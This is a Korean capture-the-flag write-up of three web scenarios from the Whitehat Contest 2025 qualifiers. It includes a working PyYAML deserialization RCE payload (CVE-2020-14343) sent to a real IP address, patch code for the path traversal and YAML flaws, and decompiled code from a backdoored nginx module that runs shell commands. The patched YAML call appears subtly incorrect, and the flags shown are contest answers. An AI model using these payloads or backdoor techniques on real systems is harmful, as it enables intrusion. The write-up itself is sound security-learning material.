Whitehat Contest 2025 Quals Writeup
2025 화이트햇 콘테스트 예선 Writeup
시나리오 1-1
http://54.180.78.10/download?file= 엔드포인트에서 별도로 파일 전달값을 검사하지 않아 path traversal 취약점이 발생한다. 해당 취약점을 이용하여 문제의 원본 소스 코드를 유출할 수 있다.
FROM python:3.12-slim
ENV PYTHONDONTWRITEBYTECODE=1 \ PYTHONUNBUFFERED=1 \ PIP_NO_CACHE_DIR=1 \ APP_HOME=/app
WORKDIR $APP_HOME
COPY requirements.txt $APP_HOME/requirements.txtRUN pip install --no-cache-dir -r requirements.txt
COPY . $APP_HOMERUN FLAG_CONTENT=$(cat $APP_HOME/flag.txt) && \ echo "$FLAG_CONTENT" > "/$FLAG_CONTENT" && \ chmod 400 "/$FLAG_CONTENT" && \ chown root:root "/$FLAG_CONTENT" && \ rm $APP_HOME/flag.txt
RUN useradd -m -u 10000 app && \ chmod 750 -R /app && \ chown -R root:app /app && \ chmod 660 /app/static/css/theme.css
EXPOSE 8001USER appCMD ["gunicorn", "--bind", "0.0.0.0:8001", "--workers", "2", "--threads", "2", "--worker-class", "gthread", "--timeout", "30", "app:app"]flag의 이름을 flag의 내용으로 바꾸고, 루트 디렉토리에 저장하는 것을 확인할 수 있다. 따라서 ls /만 실행한다면 flag를 획득할 수 있다. 또한, 해당 프로그램이 사용하는 패키지를 requirements.txt를 다운받아 확인할 수 있다.
Flask==3.0.3PyYAML==5.3.1gunicorn==23.0.0위와 같이 사용하는 패키지와 그 버전을 확인할 수 있었는데, 취약점이 존재하는 버전의 PyYAML 패키지를 사용하는 것을 확인할 수 있었다. 해당 패키지에 존재하는 취약점은 CVE-2020-14343이다. 취약한 버전의 PyYAML에서 yaml.load() 함수를 사용하면 RCE가 발생할 수 있는 취약점이다. https://github.com/0xStrontium/CTFs/tree/main/HackerNewsBdarija-CTF-2022/loader/loader 위 페이지를 참고하여 공격 코드를 작성한다.
import requests
url = 'http://54.180.78.10/'
data = """!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ "__import__('os').popen('ls /').read()" ]]]"""
res = requests.post(url + '/api/theme/preview', data=data)print(res.text)그러면 다음과 같은 응답이 온다.
{ "ok": "('app\\nbin\\nboot\\ndev\\netc\\nhome\\nlib\\nlib64\\nmedia\\nmnt\\nopt\\nproc\\nroot\\nrun\\nsbin\\nsrv\\nsys\\ntmp\\nusr\\nvar\\nwhitehat2025{dc50ad05f7db236ea24f3c8258289ecf839412025e0b84b0619de24e77f3de93}\\n',)"}flag는 whitehat2025{dc50ad05f7db236ea24f3c8258289ecf839412025e0b84b0619de24e77f3de93}이다.
시나리오 1-2
시나리오 1-1에 존재하는 취약점을 패치하되, 원래 웹 어플리케이션의 기능은 유지해야 한다.
files.py에 존재하는 path traversal과 theme.py에 존재하는 PyYAML yaml.load() 취약점을 해결해야 한다. 각각의 파일을 패치하고 기능은 잘 작동하되 취약점은 없어지면 flag를 준다.
files.py
import osfrom flask import Blueprint, request, send_file, Response
files_bp = Blueprint("files", __name__)
BASE_DIR = os.path.join(os.path.dirname(os.path.dirname(__file__)), "data")
@files_bp.get("/download")def download_file(): rel = request.args.get("file", "")
if '/' in rel and not rel.startswith('data'): return Response("Invalid characters in filename", status=400)
requested_path = os.path.normpath(os.path.join(BASE_DIR, rel)) base_path = os.path.normpath(BASE_DIR) real_requested_path = os.path.realpath(requested_path) real_base_path = os.path.realpath(base_path) if os.path.commonpath([real_requested_path, real_base_path]) != real_base_path: return Response("Access denied - invalid path", status=403) if os.path.islink(requested_path) or os.path.islink(real_requested_path): return Response("Access denied - symbolic links not allowed", status=403) if not os.path.exists(real_requested_path): return Response("File not found", status=404) if not os.path.isfile(real_requested_path): return Response("Path is not a file", status=400) try: return send_file(real_requested_path) except PermissionError: return Response("Permission denied - insufficient privileges to read this file", status=403) except FileNotFoundError: return Response("File not found", status=404) except Exception as e: return Response("Error: {str(e)}", status=500)’/‘가 존재하는데 data로 시작하지 않으면 path traversal로 간주하여 에러 메세지를 보낸다.
data로 시작하는 경우를 넣어주는 것은 원래 페이지의 기능인 data/*.json 파일을 가져오는 것을 위해서이다.
혹시 모르니 BASE_DIR 에서 벗어나는 경우를 탐지하고 심볼릭 링크도 방지해 준다.
theme.py
import osimport refrom typing import Any, Dictfrom flask import Blueprint, jsonify, requestimport yaml
theme_bp = Blueprint("theme", __name__)
APP_ROOT = os.path.dirname(os.path.dirname(__file__))THEME_CSS_PATH = os.path.join(APP_ROOT, "static", "css", "theme.css")HEX_COLOR_PATTERN = r'^#[0-9a-fA-F]{6}$'
def validate_color(color_value: str) -> str: if not isinstance(color_value, str): return "#336699"
color_value = color_value.strip()
if not color_value: return "#336699" if re.match(HEX_COLOR_PATTERN, color_value): return color_value
return "#336699"
def write_theme_css(colors: Dict[str, str]) -> None: primary = validate_color(colors.get("primary", "#336699")) accent = validate_color(colors.get("accent", "#88aadd"))
css = ( ":root{\n" f" --primary: {primary};\n" f" --accent: {accent};\n" "}\n\n" "body{\n" " background: #ffffff;\n" " color: #222;\n" " font-family: system-ui, -apple-system, Segoe UI, Roboto, Ubuntu, Cantarell, Noto Sans, sans-serif;\n" "}\n\n" "header{\n" " background: var(--primary);\n" " color: white;\n" "}\n\n" ".btn{\n" " background: var(--accent);\n" " color: #111;\n" " border: none;\n" " padding: 8px 14px;\n" " border-radius: 6px;\n" " cursor: pointer;\n" "}\n" ) with open(THEME_CSS_PATH, "w", encoding="utf-8") as f: f.write(css)
@theme_bp.post("/api/theme/preview")def preview_theme(): body = request.data.decode("utf-8", "ignore") if len(body) > 2**7: return jsonify({"error": "Body is too long"}) try: parsed: Any = yaml.safe_load(body, Loader=yaml.FullLoader)
colors: Dict[str, str] = {} if isinstance(parsed, dict) and isinstance(parsed.get("colors"), dict): colors = { "primary": str(parsed["colors"].get("primary", "#336699")), "accent": str(parsed["colors"].get("accent", "#88aadd")), } write_theme_css(colors) except Exception: write_theme_css({"primary": "#336699", "accent": "#88aadd"})
try: return jsonify({"ok": repr(parsed)}) except Exception: return jsonify({"error": "Failed to parse YAML"})yaml.load() 함수를 yaml.safe_load() 함수로 변경한다.
조건을 만족하여 패치를 진행한 경우 flag를 보내준다.
flag는 whitehat2025{b8b18dae5b0aed7d538d030604fbaeb6e1ac1960de20e06e01daa21b9627f113}이다.
시나리오 1-3
시나리오 1-1, 1-2 웹 서버의 vmdk 파일을 제공한다. 해당 파일을 FTK Imager를 통해 분석하였다.
일단 공격자가 침투를 한 것이기 때문에 최근 변경된 파일 위주로 파일들을 둘러보았다. 찾았던 수상한 파일은 /bin/.alpha 라는 ELF 파일이었고, 추출해서 IDA로 분석을 했을 때 /bin/bash 역할을 하는 파일이었고, 별도로 공격 코드나 백도어로 추정되는 부분은 보이지 않았다. 따라서 이 파일을 쉘을 사용하지 않는 것처럼 사용하기 위해 공격자가 쉘을 복사해놓은 것이라 생각했고, .alpha를 실행하는 코드가 악성코드/백도어일 가능성이 높다고 생각하였다.
문제의 설명에서는 웹 서버에 백도어가 존재할 가능성을 가지고 있다고 하였으므로, nginx나 python library를 패치해서 백도어를 심어놓았을 가능성을 떠올렸다. 그러나 라이브러리에는 특이한 점을 찾지 못했다. 그러던 중 수정 일자가 다른 파일들에 비하여 굉장히 최근인 nginx 모듈을 찾았다. /usr/lib/nginx/modules/ngx_http_secure_headers_module.so 파일이었다.
(그냥 /usr/lib 아래에서 수정일자가 최근인 파일을 뒤져보다가 찾았다.)
unsigned __int64 __fastcall sub_1E96(const char *a1, char *a2){ char *v2; // rbx size_t v3; // rbp char *v4; // r15 FILE *v5; // rax FILE *v6; // r14 size_t v7; // r12 size_t v8; // rbp char v10[1032]; // [rsp+0h] [rbp-448h] BYREF unsigned __int64 v11; // [rsp+408h] [rbp-40h]
v2 = a2; v11 = __readfsqword(0x28u); v3 = strlen(a1) + 24; v4 = (char *)malloc(v3); strcpy(v4, "/bin/.alpha -p -c "); __strcat_chk(v4, a1, v3); __strcat_chk(v4, " 2>&1", v3); v5 = popen(v4, "r"); if ( v5 ) { v6 = v5; v7 = 4096; while ( fgets(v10, 1024, v6) ) { while ( 1 ) { v8 = strlen(v10); if ( v7 >= v8 + strlen(v2) + 1 ) break; v7 *= 2LL; v2 = (char *)realloc(v2, v7); } strcat(v2, v10); } pclose(v6); if ( !*v2 ) strcpy(v2, "Empty command response"); } else { strcpy(a2, "Failed to run command - popen failure"); } free(v4); return v11 - __readfsqword(0x28u);}/usr/lib/nginx/modules/ngx_http_secure_headers_module.so 파일 코드의 일부인데, 아까 추측하였듯이 /bin/.alpha 를 사용하여 command를 실행하는 것으로 추정되는 부분이 존재했다. 따라서 해당 nginx module이 백도어라고 판단을 했고, 제출한 결과 flag가 맞았다.
flag는 /usr/lib/nginx/modules/ngx_http_secure_headers_module.so 이다.